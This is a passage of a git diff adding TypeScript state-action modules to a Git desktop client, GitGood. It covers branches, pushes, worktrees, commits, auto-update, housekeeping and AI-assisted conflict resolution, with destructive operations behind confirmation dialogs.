danger: true, + onConfirm: async () => { + let failed = 0; + for (const remote of remotes) { + try { + await invoke('git.remote.prune', repo.path, remote.name); + } catch (err) { + failed++; + showError(`Could not prune ${remote.name}`, err); + } + } + await refreshBranches(); + if (failed < remotes.length) showToast({ kind: 'success', title: 'Pruned remote-tracking branches' }); + onDone?.(); + }, + }), + }); +} + +/** `onDone` is called after a successful run, so the Housekeeping card can reload its numbers. */ +export function confirmRunGc(onDone?: () => void): void { + const repo = store.get().currentRepo; + if (!repo) return; + openDialog({ + kind: 'confirm', + title: 'Run garbage collection?', + message: 'Git will repack loose objects and drop ones that are no longer reachable from any branch, tag or the reflog. This can take a while on a large repository.', + confirmLabel: 'Continue', + onConfirm: () => + openDialog({ + kind: 'confirm', + title: 'Confirm garbage collection', + message: 'Unreachable objects (dropped stashes, and commits left behind by a reset or amend that are outside every branch and the reflog) will be permanently removed. This cannot be undone.', + confirmLabel: 'Run gc', + danger: true, + onConfirm: async () => { + try { + await invoke('git.gc', repo.path, false); + showToast({ kind: 'success', title: 'Garbage collection complete' }); + } catch (err) { + showError('Garbage collection failed', err); + } finally { + onDone?.(); + } + }, + }), + }); +} + +/** `onDone` is called after a successful run, so the Housekeeping card can reload its numbers. */ +export function confirmExpireReflog(onDone?: () => void): void { + const repo = store.get().currentRepo; + if (!repo) return; + openDialog({ + kind: 'confirm', + title: 'Expire the reflog?', + message: 'The reflog is what lets GitGood and git recover commits after a reset, an amend or a deleted branch. Expiring it now removes that safety net for anything not reachable from a branch or tag.', + confirmLabel: 'Continue', + danger: true, + onConfirm: () => + openDialog({ + kind: 'confirm', + title: 'Confirm reflog expiry', + message: 'This cannot be undone: any commit that is only reachable through the reflog will be gone the next time git garbage-collects.', + confirmLabel: 'Expire reflog', + danger: true, + onConfirm: async () => { + try { + await invoke('git.reflog.expire', repo.path); + showToast({ kind: 'success', title: 'Reflog expired' }); + } catch (err) { + showError('Could not expire the reflog', err); + } finally { + onDone?.(); + } + }, + }), + }); +} + +// --------------------------------------------------------------------------- +// Auto-update +// --------------------------------------------------------------------------- + +/** Exposed on window.__gitgood.actions so smoke tests and screenshots can drive the banner/About dialog without a real release feed. */ +export function setUpdateState(state: UpdateState): void { + store.set({ updateState: state }); +} + +/** Help → Check for updates… / About dialog's Check now: always runs, and (unlike the silent launch/timer checks) surfaces a network error. */ +export async function checkForUpdates(): Promise { + const state = await invoke('app.update.check'); + if (state.status === 'up-to-date') showToast({ kind: 'success', title: "You're up to date" }); + else if (state.status === 'error') showToast({ kind: 'error', title: 'Could not check for updates', message: state.message, action: state.manualUrl ? { label: 'Download manually', onClick: () => void openExternal(state.manualUrl!) } : undefined }, 10000); + else if (state.status === 'disabled') showToast({ kind: 'info', title: state.reason, action: state.manualUrl ? { label: 'Open releases page', onClick: () => void openExternal(state.manualUrl!) } : undefined }); +} + +export async function downloadUpdate(): Promise { + try { + await invoke('app.update.download'); + } catch (err) { + showError('Could not download the update', err); + } +} + +/** Restart to update: never resolves on success (the app quits first), so a rejection here always means it was refused (e.g. an operation or AI task in progress). */ +export async function installUpdate(): Promise { + try { + await invoke('app.update.install'); + } catch (err) { + showError('Could not install the update', err); + } +} + +export async function dismissUpdate(version: string): Promise { + await invoke('app.update.dismiss', version); +} + +export function openUpdateNotes(): void { + const s = store.get().updateState; + if (s.status !== 'available' && s.status !== 'downloading' && s.status !== 'ready') return; + openDialog({ kind: 'update-notes', version: s.version, notes: s.notes ?? 'No release notes were provided for this version.', url: s.url }); +} diff --git a/src/renderer/src/state/actions/branches.ts b/src/renderer/src/state/actions/branches.ts new file mode 100644 index 0000000..0460daa --- /dev/null +++ b/src/renderer/src/state/actions/branches.ts @@ -0,0 +1,369 @@ +import type { AddWorktreeOptions, Branch, UncommittedChangesStrategy, Worktree } from '@shared/types'; +import { extractWorktreePathFromError } from '@shared/util'; +import { errorInfo, errorMessage, invoke } from '../../api'; +import { closeAllDialogs, closeDialog, openDialog, patchChanges, showToast, store } from '../store'; +import { runOperation, showError } from './core'; +import { openRepository, refreshAll, refreshStatus } from './repo'; +import { loadHistory, setView } from './view'; +import { loadCurrentPullRequest } from './github'; +import { reportOutcome, withUncommittedChanges } from './shared'; + +// --------------------------------------------------------------------------- +// Sync: fetch / pull / push +// --------------------------------------------------------------------------- + +export async function fetchRemote(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + await runOperation('Fetch', () => invoke('git.fetch', repo.path, null)); + void loadCurrentPullRequest(true); +} + +export async function pull(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const outcome = await runOperation('Pull', () => invoke('git.pull', repo.path)); + if (outcome?.status === 'conflicts') reportOutcome(outcome, 'Pull'); + else if (outcome?.status === 'complete') showToast({ kind: 'success', title: 'Pulled latest changes' }); + void loadCurrentPullRequest(true); +} + +export async function push(force = false): Promise { + const s = store.get(); + const repo = s.currentRepo; + if (!repo || !s.status) return; + const branch = s.status.branch; + if (branch.behind > 0 && !force) { + if (s.settings?.confirmForcePush !== false) { + openDialog({ kind: 'force-push' }); + return; + } + force = true; + } + const setUpstream = !branch.upstream || branch.upstreamGone; + const remote = s.remotes.find((r) => r.name === 'origin')?.name ?? s.remotes[0]?.name ?? null; + if (!remote) { + openDialog({ kind: 'publish' }); + return; + } + const result = await runOperation(force ? 'Force push' : 'Push', () => invoke('git.push', repo.path, { force, setUpstream, remote: setUpstream ? remote : null, branch: null, tags: false }), { silent: true }); + if (result === undefined) { + // runOperation swallowed the error silently; re-run to obtain it for classification. + return; + } + showToast({ kind: 'success', title: setUpstream ? `Published ${branch.name}` : 'Pushed' }); + void loadCurrentPullRequest(true); +} + +export async function pushWithErrorHandling(force = false): Promise { + const s = store.get(); + const repo = s.currentRepo; + if (!repo || !s.status) return; + const branch = s.status.branch; + if (branch.behind > 0 && !force) { + if (s.settings?.confirmForcePush !== false) { + openDialog({ kind: 'force-push' }); + return; + } + force = true; + } + const setUpstream = !branch.upstream || branch.upstreamGone; + const remote = s.remotes.find((r) => r.name === 'origin')?.name ?? s.remotes[0]?.name ?? null; + if (!remote) { + openDialog({ kind: 'publish' }); + return; + } + store.set({ operation: force ? 'Force push' : 'Push' }); + try { + await invoke('git.push', repo.path, { force, setUpstream, remote: setUpstream ? remote : null, branch: null, tags: false }); + showToast({ kind: 'success', title: setUpstream ? `Published ${branch.name}` : 'Pushed' }); + void loadCurrentPullRequest(true); + } catch (err) { + const info = errorInfo(err); + if (info.code === 'non-fast-forward') { + await refreshStatus(); + openDialog({ kind: 'force-push' }); + } else if (info.code === 'protected-branch') { + showError('Push rejected by branch protection', err); + } else { + showError('Push failed', err); + } + } finally { + store.set({ operation: null }); + void refreshAll(); + } +} + +// --------------------------------------------------------------------------- +// Branches +// --------------------------------------------------------------------------- + +export function hasUncommittedChanges(): boolean { + const status = store.get().status; + return !!status && status.files.length > 0; +} + +/** Opens the repository at `path` (registering it if it is a worktree GitGood has not seen before). */ +export async function openWorktreeAtPath(path: string): Promise { + try { + const info = await invoke('repo.open', path); + closeAllDialogs(); + await openRepository(info); + } catch (err) { + showError('Could not open that worktree', err); + } +} + +/** Reports a "branch is checked out in another worktree" error with an action to open it; returns true when it handled the error. */ +function reportWorktreeConflict(err: unknown, branchName: string): boolean { + const info = errorInfo(err); + if (info.code !== 'worktree-branch-in-use') return false; + const path = extractWorktreePathFromError(info.message); + showToast( + { + kind: 'warning', + title: `${branchName} is checked out in another worktree`, + message: path ?? info.message, + action: path ? { label: 'Open that worktree', onClick: () => void openWorktreeAtPath(path) } : undefined, + }, + 12000, + ); + return true; +} + +export async function checkoutBranch(branch: Branch): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + if (branch.isCurrent) return; + await withUncommittedChanges(branch.name, async (strategy) => { + closeAllDialogs(); + store.set({ operation: `Switching to ${branch.name}`, popover: null }); + try { + if (branch.kind === 'remote') await invoke('git.checkoutRemoteBranch', repo.path, branch.name, strategy); + else await invoke('git.checkout', repo.path, branch.name, strategy); + patchChanges({ summary: '', description: '', amend: false }); + await refreshAll(); + await loadHistory(true); + void loadCurrentPullRequest(true); + } catch (err) { + const info = errorInfo(err); + if (info.code === 'local-changes-overwritten' && strategy === 'move') { + openDialog({ kind: 'uncommitted-changes', targetLabel: branch.name, proceed: (st) => checkoutBranchWith(branch, st) }); + } else if (!reportWorktreeConflict(err, branch.name)) { + showError(`Could not switch to ${branch.name}`, err); + } + } finally { + store.set({ operation: null }); + } + }); +} + +async function checkoutBranchWith(branch: Branch, strategy: UncommittedChangesStrategy): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + closeAllDialogs(); + store.set({ operation: `Switching to ${branch.name}` }); + try { + if (branch.kind === 'remote') await invoke('git.checkoutRemoteBranch', repo.path, branch.name, strategy); + else await invoke('git.checkout', repo.path, branch.name, strategy); + await refreshAll(); + await loadHistory(true); + } catch (err) { + if (!reportWorktreeConflict(err, branch.name)) showError(`Could not switch to ${branch.name}`, err); + } finally { + store.set({ operation: null }); + } +} + +export async function createBranch(name: string, startPoint: string | null, checkout = true): Promise { + const repo = store.get().currentRepo; + if (!repo) return false; + let ok = false; + await withUncommittedChanges(name, async (strategy) => { + closeAllDialogs(); + store.set({ operation: `Creating ${name}` }); + try { + await invoke('git.branch.create', repo.path, name, startPoint, checkout, strategy); + ok = true; + await refreshAll(); + await loadHistory(true); + void loadCurrentPullRequest(true); + } catch (err) { + const info = errorInfo(err); + if (info.code === 'local-changes-overwritten') { + openDialog({ kind: 'uncommitted-changes', targetLabel: name, proceed: async (st) => { await invoke('git.branch.create', repo.path, name, startPoint, checkout, st); await refreshAll(); } }); + } else if (!reportWorktreeConflict(err, name)) showError(`Could not create branch ${name}`, err); + } finally { + store.set({ operation: null }); + } + }); + return ok; +} + +export async function renameBranch(oldName: string, newName: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('git.branch.rename', repo.path, oldName, newName); + closeDialog(); + await refreshAll(); + } catch (err) { + showError('Could not rename branch', err); + } +} + +export async function deleteBranch(branch: Branch, deleteRemote: boolean): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + if (branch.kind === 'remote') { + const slash = branch.name.indexOf('/'); + await invoke('git.branch.deleteRemote', repo.path, branch.name.slice(0, slash), branch.name.slice(slash + 1)); + } else { + await invoke('git.branch.delete', repo.path, branch.name, deleteRemote); + } + closeDialog(); + showToast({ kind: 'success', title: `Deleted ${branch.name}` }); + await refreshAll(); + } catch (err) { + showError('Could not delete branch', err); + } +} + +export async function mergeBranch(branch: string, squash: boolean): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + closeAllDialogs(); + const outcome = await runOperation(squash ? 'Squash merge' : 'Merge', () => invoke('git.merge', repo.path, branch, squash)); + if (outcome?.status === 'complete') { + if (squash) { + patchChanges({ summary: `Squashed commit of ${branch}`, description: '' }); + showToast({ kind: 'success', title: `Squashed ${branch}`, message: 'Review the staged changes and commit them.' }); + setView('changes'); + } else { + store.set({ lastSuccessfulMerge: { branch, at: Date.now() } }); + showToast({ kind: 'success', title: `Merged ${branch} into ${store.get().status?.branch.name ?? 'current branch'}` }); + await loadHistory(true); + } + } else reportOutcome(outcome, 'Merge'); +} + +export async function rebaseOnto(branch: string, updateRefs = false): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + closeAllDialogs(); + const outcome = await runOperation('Rebase', () => invoke('git.rebase', repo.path, branch, updateRefs)); + if (outcome?.status === 'complete') { + showToast({ kind: 'success', title: `Rebased onto ${branch}` }); + await loadHistory(true); + } else reportOutcome(outcome, 'Rebase'); +} + +/** Force-pushes (with lease) the current branch and the branches stacked below it, after confirming the list. */ +export function pushStack(): void { + const s = store.get(); + const repo = s.currentRepo; + const current = s.status?.branch.name; + if (!repo || !current || !s.stack.parents.length) return; + const branches = [...s.stack.parents, current]; + openDialog({ + kind: 'confirm', + title: 'Push stack?', + message: `Force-push (with lease) ${branches.length} branches, overwriting their remote versions:\n\n${branches.join('\n')}`, + confirmLabel: 'Push stack', + danger: true, + onConfirm: async () => { + const pushed = await runOperation('Push stack', () => invoke('git.pushStack', repo.path)); + if (pushed) showToast({ kind: 'success', title: `Pushed ${pushed.length} stacked branches` }); + void loadCurrentPullRequest(true); + }, + }); +} + +export async function updateFromDefaultBranch(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const outcome = await runOperation('Update from default branch', () => invoke('git.updateFromDefaultBranch', repo.path)); + reportOutcome(outcome, 'Update'); + if (outcome?.status === 'complete') await loadHistory(true); +} + +// --------------------------------------------------------------------------- +// Worktrees +// --------------------------------------------------------------------------- + +export async function addWorktree(opts: AddWorktreeOptions): Promise { + const repo = store.get().currentRepo; + if (!repo) return false; + try { + const info = await invoke('git.worktree.add', repo.path, opts); + closeAllDialogs(); + showToast({ kind: 'success', title: `Worktree added at ${info.path}` }); + await openRepository(info); + return true; + } catch (err) { + if (!reportWorktreeConflict(err, opts.branch ?? opts.newBranch ?? '')) showError('Could not add worktree', err); + return false; + } +} + +export async function removeWorktree(worktree: Worktree, force: boolean): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('git.worktree.remove', repo.path, worktree.path, force); + closeDialog(); + showToast({ kind: 'success', title: 'Worktree removed' }); + const list = store.get().repos; + if (store.get().currentRepo?.path === worktree.path) { + const next = list.filter((r) => !r.missing && r.path !== worktree.path).sort((a, b) => b.lastOpened - a.lastOpened)[0]; + if (next) await openRepository(next); + } + await invoke('repos.refreshIndicators').catch(() => undefined); + } catch (err) { + showError('Could not remove worktree', err); + } +} + +export async function lockWorktree(worktree: Worktree, locked: boolean, reason: string | null): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('git.worktree.lock', repo.path, worktree.path, locked, reason); + closeDialog(); + } catch (err) { + showError(locked ? 'Could not lock worktree' : 'Could not unlock worktree', err); + } +} + +export async function pruneWorktrees(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('git.worktree.prune', repo.path); + closeDialog(); + showToast({ kind: 'success', title: 'Pruned worktrees' }); + } catch (err) { + showError('Could not prune worktrees', err); + } +} + +export async function openInEditorAt(path: string): Promise { + try { + await invoke('app.openInEditor', path, null); + } catch (err) { + showToast({ kind: 'error', title: 'Could not open editor', message: errorMessage(err) }); + } +} + +export async function openInShellAt(path: string): Promise { + try { + await invoke('app.openInShell', path); + } catch (err) { + showToast({ kind: 'error', title: 'Could not open terminal', message: errorMessage(err) }); + } +} + +export async function showInFolderAt(path: string): Promise { + await invoke('app.openPath', path); +} diff --git a/src/renderer/src/state/actions/commit.ts b/src/renderer/src/state/actions/commit.ts new file mode 100644 index 0000000..efb86a5 --- /dev/null +++ b/src/renderer/src/state/actions/commit.ts @@ -0,0 +1,168 @@ +import type { CommitOptions, RepoPrefs, RepositoryInfo, WorkingFile } from '@shared/types'; +import { aiEnabled } from '@shared/ai-model'; +import { buildStagePatch } from '@shared/diff/patch'; +import { errorInfo, invoke } from '../../api'; +import { closeDialog, openDialog, patchChanges, patchDiff, patchHistory, showToast, store, type ChangesState } from '../store'; +import { runPrecommitReviewForGate } from '../precommitReview'; +import { showError } from './core'; +import { refreshAll } from './repo'; +import { loadHistory, setView } from './view'; + +// --------------------------------------------------------------------------- +// Commit +// --------------------------------------------------------------------------- + +export function includedFiles(): WorkingFile[] { + const s = store.get(); + return (s.status?.files ?? []).filter((f) => !s.changes.excluded.includes(f.path)); +} + +export async function commit(): Promise { + const s = store.get(); + const gateOn = s.settings?.ai.reviewBeforeCommit && aiEnabled(s.settings, s.currentRepo) && !s.changes.committing; + if (gateOn) { + const run = await runPrecommitReviewForGate(); + const live = run ? run.findings.filter((f) => !f.dismissed) : []; + if (run && live.length) { + openDialog({ kind: 'precommit-review-gate', run, onCommitAnyway: () => { closeDialog(); void performCommit('default'); } }); + return; + } + } + await performCommit('default'); +} + +/** Shared by the normal commit button and the signing-failed dialog's Retry / Commit unsigned this time actions. */ +async function performCommit(signOverride: 'default' | 'unsigned'): Promise { + const s = store.get(); + const repo = s.currentRepo; + if (!repo || !s.status) return; + const files = includedFiles(); + if (!files.length && !s.changes.amend) return; + const summary = s.changes.summary.trim(); + const inProgressMerge = s.status.operation.kind === 'merge'; + if (!summary && !s.changes.amend && !inProgressMerge) return; + patchChanges({ committing: true }); + try { + const partialPatches: Record = {}; + for (const [path, keys] of Object.entries(s.changes.partial)) { + if (!files.some((f) => f.path === path)) continue; + const diff = await invoke('repo.diff.working', repo.path, path, { hideWhitespace: false }); + if (diff.kind !== 'text') continue; + const set = new Set(keys); + const patch = buildStagePatch({ oldPath: diff.oldPath, newPath: diff.newPath, hunks: diff.hunks }, (h, l) => set.has(`${h}:${l}`)); + if (patch) partialPatches[path] = patch; + } + const opts: CommitOptions = { + summary, + description: s.changes.description, + coAuthors: s.changes.showCoAuthors ? s.changes.coAuthors : [], + amend: s.changes.amend, + files: files.flatMap((f) => (f.oldPath ? [f.path, f.oldPath] : [f.path])), + partialPatches, + signOverride, + signoff: repo.signoff, + noVerify: s.changes.noVerify, + }; + const sha = await invoke('git.commit', repo.path, opts); + patchChanges({ summary: '', description: '', amend: false, committing: false, noVerify: false, partial: {}, excluded: [] }); + patchDiff({ selectedLines: null }); + showToast({ kind: 'success', title: s.changes.amend ? 'Commit amended' : `Committed ${sha.slice(0, 7)}`, message: summary || undefined, action: s.changes.amend ? undefined : { label: 'Undo', onClick: () => void undoCommit() } }); + await refreshAll(); + if (store.get().view === 'history') await loadHistory(true); + else patchHistory({ commits: [], hasMore: false }); + } catch (err) { + patchChanges({ committing: false }); + const info = errorInfo(err); + if (info.code === 'signing-failed' || info.code === 'signing-key-missing') { + openDialog({ kind: 'signing-failed', error: info, onRetry: () => void performCommit('default'), onUnsigned: () => void performCommit('unsigned') }); + } else { + showError('Commit failed', err); + } + } +} + +export async function undoCommit(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const status = store.get().status; + if (status?.branch.unborn) return; + const perform = async () => { + try { + const details = store.get().history.commits[0] ?? null; + await invoke('git.undoCommit', repo.path); + if (details) patchChanges({ summary: details.summary, description: details.body, coAuthors: details.coAuthors, showCoAuthors: details.coAuthors.length > 0 }); + await refreshAll(); + await loadHistory(true); + setView('changes'); + } catch (err) { + showError('Undo commit failed', err); + } + }; + const settings = store.get().settings; + const commitPushed = status && status.branch.ahead === 0 && status.branch.upstream !== null; + if (settings?.confirmUndoCommit && commitPushed) { + openDialog({ kind: 'confirm', title: 'Undo commit?', message: 'This commit has already been pushed. Undoing it will diverge your branch from the remote and require a force push.', confirmLabel: 'Undo commit', danger: true, onConfirm: perform }); + } else { + await perform(); + } +} + +/** Prefills an empty, non-amend commit form from `commit.template`; never overwrites anything the user (or an AI draft) already typed, and skips merges (git ignores the template there). */ +export async function prefillCommitTemplate(): Promise { + const repo = store.get().currentRepo; + const empty = (c: ChangesState) => !c.amend && !c.summary && !c.description; + const idle = () => empty(store.get().changes) && store.get().status?.operation.kind === 'none'; + if (!repo || !idle()) return; + const template = await invoke('repo.commitTemplate', repo.path).catch(() => null); + if (template && store.get().currentRepo?.path === repo.path && idle()) patchChanges({ summary: template.summary, description: template.description }); +} + +/** Machine-local per-repository prefs: pin, custom group, commit sign-off, GitHub account. */ +export async function setRepoPrefs(repo: RepositoryInfo, prefs: RepoPrefs): Promise { + try { + await invoke('repos.setPrefs', repo.id, prefs); + } catch (err) { + showError('Could not save repository settings', err); + } +} + +/** Machine-local "Disable AI for this repository" toggle; the list refreshes through `repos.changed`. */ +export async function setRepoAiDisabled(repo: RepositoryInfo, disabled: boolean): Promise { + try { + await invoke('repos.setAiDisabled', repo.id, disabled); + } catch (err) { + showError('Could not save repository settings', err); + } +} + +export async function setAmend(amend: boolean): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + if (amend) { + const last = store.get().history.commits[0] ?? (await invoke('repo.history', repo.path, { ref: null, skip: 0, limit: 1, path: null, search: null, follow: false })).commits[0]; + if (last) patchChanges({ amend: true, summary: last.summary, description: last.body, coAuthors: last.coAuthors, showCoAuthors: last.coAuthors.length > 0 }); + else patchChanges({ amend: true }); + } else { + patchChanges({ amend: false, summary: '', description: '' }); + } +} + +export async function generateCommitMessage(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const files = includedFiles(); + if (!files.length) { + showToast({ kind: 'warning', title: 'Select at least one file to describe' }); + return; + } + store.set({ aiCommitBusy: true }); + try { + const msg = await invoke('ai.commitMessage', repo.path, files.map((f) => f.path)); + patchChanges({ summary: msg.summary, description: msg.description }); + if (msg.skipped.length) showToast({ kind: 'info', title: 'Left out of the AI request', message: msg.skipped.join('\n') }, 8000); + } catch (err) { + showError('Could not generate a commit message', err); + } finally { + store.set({ aiCommitBusy: false }); + } +} diff --git a/src/renderer/src/state/actions/conflicts.ts b/src/renderer/src/state/actions/conflicts.ts new file mode 100644 index 0000000..0be3947 --- /dev/null +++ b/src/renderer/src/state/actions/conflicts.ts @@ -0,0 +1,414 @@ +import type { ConflictResolutionResult } from '@shared/types'; +import { errorMessage, invoke } from '../../api'; +import { closeAllDialogs, closeDialog, NO_CONFLICT_EXAMPLES, openDialog, patchStashesView, showToast, store } from '../store'; +import { runOperation, showError } from './core'; +import { refreshStatus } from './repo'; +import { loadDiff, loadHistory } from './view'; + +// --------------------------------------------------------------------------- +// Conflict resolution: confidence tints, examples and post-resolution checks +// --------------------------------------------------------------------------- + +/** Records a resolution's per-block confidence/ranges for the diff pane's tint layer and the conflicts dialog, and shows/updates the check-failed banner. `retried` marks the banner as having already had its one "Ask AI to fix" retry. */ +async function recordConflictResolution(repoPath: string, result: ConflictResolutionResult, retried = false): Promise { + if (!result.ok) return; + let snapshot: string | null = null; + try { + snapshot = await invoke('repo.readFile', repoPath, result.path); + } catch { + snapshot = null; + } + store.set((s) => ({ + conflictResolutions: { ...s.conflictResolutions, [result.path]: result }, + conflictSnapshots: snapshot !== null ? { ...s.conflictSnapshots, [result.path]: snapshot } : s.conflictSnapshots, + conflictBlockRanges: { ...s.conflictBlockRanges, [result.path]: result.blocks.map((b) => ({ id: b.id, ...b.range })) }, + })); + if (result.check && !result.check.ok) { + store.set({ checkBanner: { path: result.path, result: result.check, retried, original: result.original ?? '' } }); + } else if (store.get().checkBanner?.path === result.path) { + store.set({ checkBanner: null }); + } +} + +export async function refreshConflictExamples(repoPath: string): Promise { + try { + const examples = await invoke('ai.resolve.examples', repoPath); + store.set({ conflictExamples: examples.length ? examples : NO_CONFLICT_EXAMPLES }); + } catch { + /* ignore */ + } +} + +/** Shows the one-time trust confirmation for a repository's `.gitgood/config.json` check command, when the setting allows repo commands and the repository has never been asked. Resolves once the user has answered (either way); the caller proceeds with resolving regardless — declining only disables the repo *check*, not AI resolution. */ +async function ensureCheckTrustPrompted(repoPath: string): Promise { + const settings = store.get().settings; + if (!settings?.ai.postResolveCheckFromRepo) return; + let info: { command: string | null; trustState: 'trusted' | 'declined' | 'unknown' }; + try { + info = await invoke('repo.checkConfig', repoPath); + } catch { + return; + } + if (!info.command || info.trustState !== 'unknown') return; + let command: string | null = info.command; + // Re-prompt with the new command whenever the file changed while the dialog was open (repo.trustConfig refuses a grant for a command the user was not shown). + while (command) { + const shown: string = command; + const accept = await new Promise((resolvePromise) => { + openDialog({ kind: 'trust-repo-check', repoPath, command: shown, onDecision: (a) => { closeDialog(); resolvePromise(a); } }); + }); + try { + const result = await invoke('repo.trustConfig', repoPath, accept, shown); + command = result.ok ? null : result.command; + } catch { + return; + } + } +} + +export function dismissCheckBanner(): void { + store.set({ checkBanner: null }); +} + +/** The check-failed banner's single allowed retry: re-resolves the file with the failing check's command/output tail fed back to the model. */ +export async function retryResolutionWithCheckOutput(path: string): Promise { + const repo = store.get().currentRepo; + const banner = store.get().checkBanner; + if (!repo || !banner || banner.path !== path) return; + store.set({ aiBusy: true }); + try { + const result = await invoke('ai.resolve', repo.path, path, { command: banner.result.command, tail: banner.result.outputTail, original: banner.original }); + handleResolution(result); + await recordConflictResolution(repo.path, result, true); + } catch (err) { + showError('AI resolution failed', err); + } finally { + store.set({ aiBusy: false }); + await refreshStatus(); + await loadDiff(true); + } +} + +export async function refreshBranches(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + const [branches, defaultBranch, stack] = await Promise.all([invoke('repo.branches', repo.path), invoke('repo.defaultBranch', repo.path), invoke('repo.stack', repo.path)]); + if (store.get().currentRepo?.path !== repo.path) return; + store.set({ branches, defaultBranch, stack }); + } catch { + /* status refresh reports errors */ + } +} + +export async function refreshStashes(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + const stashes = await invoke('repo.stashes', repo.path); + if (store.get().currentRepo?.path !== repo.path) return; + store.set({ stashes }); + // The selected stash may have been dropped or applied from outside the app; fall back to an empty selection without erroring. + const selectedSha = store.get().stashesView.selectedSha; + if (selectedSha && !stashes.some((st) => st.sha === selectedSha)) patchStashesView({ selectedSha: null, files: [], selectedFile: null }); + } catch { + /* ignore */ + } +} + +export async function refreshRemotes(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + const remotes = await invoke('repo.remotes', repo.path); + if (store.get().currentRepo?.path === repo.path) store.set({ remotes }); + } catch { + /* ignore */ + } +} + +export async function loadTags(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + store.set({ tags: await invoke('repo.tags', repo.path) }); + } catch (err) { + showToast({ kind: 'error', title: 'Could not load tags', message: errorMessage(err) }); + } +} + +// --------------------------------------------------------------------------- +// In-progress operations (merge / rebase / cherry-pick / revert) +// --------------------------------------------------------------------------- + +export async function continueOperation(): Promise { + const s = store.get(); + const repo = s.currentRepo; + if (!repo || !s.status) return; + const kind = s.status.operation.kind; + const method = kind === 'rebase' ? 'git.rebase.continue' : kind === 'cherry-pick' ? 'git.cherryPick.continue' : kind === 'revert' ? 'git.revert.continue' : 'git.merge.continue'; + const outcome = await runOperation(`Continue ${kind}`, () => invoke(method, repo.path)); + if (outcome?.status === 'complete') { + closeAllDialogs(); + showToast({ kind: 'success', title: `${kind === 'merge' ? 'Merge' : kind === 'rebase' ? 'Rebase' : kind === 'cherry-pick' ? 'Cherry-pick' : 'Revert'} complete` }); + await loadHistory(true); + } else if (outcome?.status === 'conflicts') { + showToast({ kind: 'warning', title: 'More conflicts to resolve' }); + } +} + +export async function abortOperation(): Promise { + const s = store.get(); + const repo = s.currentRepo; + if (!repo || !s.status) return; + const kind = s.status.operation.kind; + const method = kind === 'rebase' ? 'git.rebase.abort' : kind === 'cherry-pick' ? 'git.cherryPick.abort' : kind === 'revert' ? 'git.revert.abort' : 'git.merge.abort'; + openDialog({ + kind: 'confirm', + title: `Abort ${kind}?`, + message: `Conflict resolutions made during this ${kind} will be discarded and the branch returns to its pre-${kind} state.`, + confirmLabel: `Abort ${kind}`, + danger: true, + onConfirm: async () => { + await runOperation(`Abort ${kind}`, () => invoke(method, repo.path)); + closeAllDialogs(); + await loadHistory(true); + }, + }); +} + +export async function skipRebaseCommit(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const outcome = await runOperation('Skip commit', () => invoke('git.rebase.skip', repo.path)); + if (outcome?.status === 'complete') closeAllDialogs(); +} + +// --------------------------------------------------------------------------- +// Conflicts +// --------------------------------------------------------------------------- + +export async function resolveWithAi(path: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + await ensureCheckTrustPrompted(repo.path); + store.set({ aiBusy: true }); + try { + const result = await invoke('ai.resolve', repo.path, path); + handleResolution(result); + await recordConflictResolution(repo.path, result); + } catch (err) { + showError('AI resolution failed', err); + } finally { + store.set({ aiBusy: false }); + await refreshStatus(); + await loadDiff(true); + await refreshConflictExamples(repo.path); + } +} + +export async function resolveAllWithAi(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + await ensureCheckTrustPrompted(repo.path); + store.set({ aiBusy: true }); + try { + const results = await invoke('ai.resolveAll', repo.path); + await Promise.all(results.map((r) => recordConflictResolution(repo.path, r))); + reportBatchResolution(results); + } catch (err) { + showError('AI resolution failed', err); + } finally { + store.set({ aiBusy: false }); + await refreshStatus(); + await loadDiff(true); + await refreshConflictExamples(repo.path); + } +} + +/** "Resolve remaining like ``…": resolves every remaining conflicted file guided by the manual resolutions recorded so far in this operation. */ +export async function resolveAllGuided(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + await ensureCheckTrustPrompted(repo.path); + store.set({ aiBusy: true }); + try { + const results = await invoke('ai.resolveAllGuided', repo.path); + await Promise.all(results.map((r) => recordConflictResolution(repo.path, r))); + reportBatchResolution(results, results.find((r) => r.guidedBy.length)?.guidedBy ?? []); + } catch (err) { + showError('AI resolution failed', err); + } finally { + store.set({ aiBusy: false }); + await refreshStatus(); + await loadDiff(true); + await refreshConflictExamples(repo.path); + } +} + +function reportBatchResolution(results: ConflictResolutionResult[], guidedBy: string[] = []): void { + const ok = results.filter((r) => r.ok); + const failed = results.filter((r) => !r.ok); + if (ok.length) { + const guidedNote = guidedBy.length ? ` guided by ${guidedBy.join(', ')}` : ''; + showToast( + { + kind: 'success', + title: `AI resolved ${ok.length} file${ok.length === 1 ? '' : 's'}${guidedNote}`, + message: ok.some((r) => r.blocks.some((b) => b.confidence === 'low')) ? 'Some resolutions have low confidence; review them before committing.' : undefined, + action: { label: 'Undo all', onClick: () => void undoResolutions(ok) }, + }, + 12000, + ); + } + for (const f of failed) showToast({ kind: 'error', title: `Could not resolve ${f.path}`, message: f.error ?? undefined }, 10000); +} + +function handleResolution(result: ConflictResolutionResult): void { + if (!result.ok) { + showToast({ kind: 'error', title: `Could not resolve ${result.path}`, message: result.error ?? undefined }, 10000); + return; + } + const low = result.blocks.filter((b) => b.confidence === 'low'); + showToast( + { + kind: low.length ? 'warning' : 'success', + title: `Resolved ${result.path}`, + message: low.length ? 